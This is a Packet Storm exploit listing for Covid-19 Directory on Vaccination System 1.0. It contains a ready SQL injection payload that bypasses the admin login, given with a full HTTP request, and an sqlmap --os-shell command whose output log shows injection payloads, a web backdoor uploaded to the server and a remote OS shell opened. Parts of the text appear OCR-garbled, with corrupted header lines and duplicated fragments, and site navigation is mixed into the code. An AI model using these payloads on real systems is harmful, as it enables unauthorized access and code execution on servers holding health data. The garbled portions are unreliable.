

Search		

Home | Files | News | About | Contact | &[SERVICES\_TAB] | Add New

# Covid-19 Directory On Vaccination System 1.0 SQL Injection

Authored by Saud Alenaz

Posted Mar 28, 2022

Covid-19 Directory on Vaccination System version 1.0 suffers from multiple remote SQL injection vulnerabilities. This research was submitted on the same day Packet Storm received similar findings from Hejap Zairy.

tags | exploit, remote, vulnerability, sql injection

#### **Related Files**

#### **Share This**

Like 0 Tweet LinkedIn Reddit Digg StumbleUpon

```
Download
 Change Mirror
# Exploit Title: Covid-19 Directory on Vaccination System 1.0 - SQLi Authentication Bypass
# Date: 28/03/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15244/design-and-implementation-covid-19-directory-
 vacination.html
  Version: 1.0
# Tested on: XAMPP, Linux
1- Go to following url. >> http://localhost/covid-19-vaccination/admin/login.php
2- We can login successfully with SQL bypass method.
**** Username = admin ' or "a" or '
**** password = anything
************************************
POST /covid-19-vaccination/admin/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:78.0) Gecko/20100101 Firefox/78.0
Oset-Agent: MozilarJ. (Air, Linux x06_04, 10:70.0) Geck0/20100101 File10x/70.0
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
Content-Length: 63
Origin: http://localhost
Connection: close
Referer: http://localhost/covid-19-vaccination/admin/login.php
Cookie: PHPSESSID=dras0itihsadtdkkkv7gv4hf67
Upgrade-Insecure-Requests: 1
txtusername=admin+%27+or+%22a%22+or+%27&txtpassword=1&btnlogin=
# Exploit Title: Covid-19 Directory on Vaccination System 1.0 - 'cmdcategory' SOL Injection
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15244/design-and-implementation-covid-19-directory-
vacination.html
  Version: 1.0
# Tested on: XAMPP, Linux
The Covid-19 Directory on Vaccination System is vulnerable to SOL Injection that leads to Remote Code
sqlmap -u 'http://localhost/covid-19-vaccination/hospital.php?cmdcategory=Private' -p cmdcategory --risk=3 --
level=5 --threads=10 --keep-alive --os-shell
Now you have a web shell uploaded to the server :
sqlmap -u 'http://localhost/covid-19-vaccination/hospital.php?cmdcategory=Private' -p cmdcategory --risk=3 --
level=5 --threads=10 --keep-alive --os-shell
                                  {1.6.3#stable}
                                 https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 00:35:27 /2022-03-28/
```

E	Follow us on Twitter
<u>v</u>	Subscribe to an RSS Feed

## File Archive: November 2022 <

Su	Мо	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

### **Top Authors In Last 30 Days**

Red Hat 186 files	
Ubuntu 52 files	
Gentoo 44 files	
Debian 27 files	
Apple 25 files	
Google Security Research 14 files	
malvuln 10 files	
nu11secur1ty 6 files	
mjurczyk 4 files	
George Tsimpidas 3 files	

File Tags	File Archives		
ActiveX (932)	November 2022		
Advisory (79,557)	October 2022		
Arbitrary (15,643)	September 2022		
BBS (2,859)	August 2022		
Bypass (1,615)	July 2022		
CGI (1,015)	June 2022 May 2022 April 2022 March 2022		
Code Execution (6,913)			
Conference (672)			
Cracker (840)			
CSRF (3,288)	February 2022 January 2022		
DoS (22,541)			
Encryption (2,349)	December 2021 Older		
31			
Exploit (50,293)			
File Inclusion (4,162)	Systems		
File Upload (946)	AIX (426) Apple (1,926)		
Firewall (821)			
Info Disclosure (2,656)			

```
[00:35:31] [INFO] resuming back-end DBMS 'mysql' [00:35:31] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session:
Parameter: cmdcategory (GET)
        Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cmdcategory=Private') AND 3773=3773-- fUxB
        Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: cmdcategory=Private') AND (SELECT 9765 FROM (SELECT(SLEEP(5)))DnRk)-- LWnB
[00:35:32] [INFO] the back-end DBMS is MySQL web application technology: PHP 8.1.2, Apache 2.4.52
web application technology: PHP 8.1.2, Apache 2.4.52 back-end DBMS: MySQL 5 (MariaDB fork) [00:35:32] [INFO] going to use a web backdoor for command prompt [00:35:32] [INFO] fingerprinting the back-end DBMS operating system [00:35:32] [INFO] the back-end DBMS operating system is Linux which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
do you want sqlmap to further try to provoke the full path disclosure? [Y/n] n
[00:36:09] [WARNING] unable to automatically retrieve the web server document root what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs,
 /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs, /usr/local/var/www')
 [2] custom location(s)
[3] custom directory list file
[4] brute force search
please provide a comma separate list of absolute directory paths: /opt/lampp/htdocs/covid-19-vaccination/
[00:36:30] [WARNING] unable to automatically parse any web server path [00:36:30] [INFO] trying to upload the file stager on '/opt/lampp/htdocs/covid-19-vaccination/' via LIMIT 'LINES TERMINATED BY' method [00:36:30] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s) [00:36:30] [WARNING] if the problem persists please try to lower the number of used threads (option '--
 threads')
http://localhost.80/covid-19-vaccination/tmpumlrg.php
[00:36:31] [WARNING] unable to upload the file through the web file stager to '/opt/lampp/htdocs/covid-19-
 [00:36:31] [WARNING] backdoor has not been successfully uploaded through the file stager possibly because the
process was able to upload the file stager or because the DBMS and web server unning the web server process has not write privileges over the folder where the user running the process was able to upload the file stager or because the DBMS and web server sit on different servers do you want to try the same method used for the file stager? [Y/n] y [00:36:33] [INFO] the backdoor has been successfully uploaded on '/opt/lampp/htdocs/covid-19-vaccination/'-http://localhost:80/covid-19-vaccination/tmpbwipl.php [00:36:33] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
 os-shell>
```

## Login or Register to add favorites

Java (2.888) CentOS (55) JavaScript (817) Cisco (1,917) Debian (6,620) Kernel (6.255) Local (14,173) Fedora (1,690) Magazine (586) FreeBSD (1,242) Overflow (12,390) Gentoo (4,272) **HPUX** (878) Perl (1,417) PHP (5,087) iOS (330) Proof of Concept (2,290) iPhone (108) Protocol (3,426) IRIX (220) Python (1,449) Juniper (67) Remote (30,009) Linux (44,118) Mac OS X (684) Root (3,496) Ruby (594) Mandriva (3,105) NetBSD (255) Scanner (1.631) Security Tool (7,768) OpenBSD (479) Shell (3.098) RedHat (12,339) Shellcode (1,204) Slackware (941) Sniffer (885) Solaris (1,607) Spoof (2,165) SUSE (1,444) SQL Injection (16,089) Ubuntu (8.147) TCP (2,377) UNIX (9,150) Trojan (685) UnixWare (185) UDP (875) Windows (6,504) Virus (661) Other Vulnerability (31,104) Web (9.329) Whitepaper (3,728) x86 (946)

Intrusion Detection (866) BSD (370)



Site Links About Us News by Month News Tags Files by Month File Tags File Directory

History & Purpose **Contact Information** Terms of Service Privacy Statement Copyright Information **Hosting By** 

Rokasec



XSS (17,478) Other

Follow us on Twitter

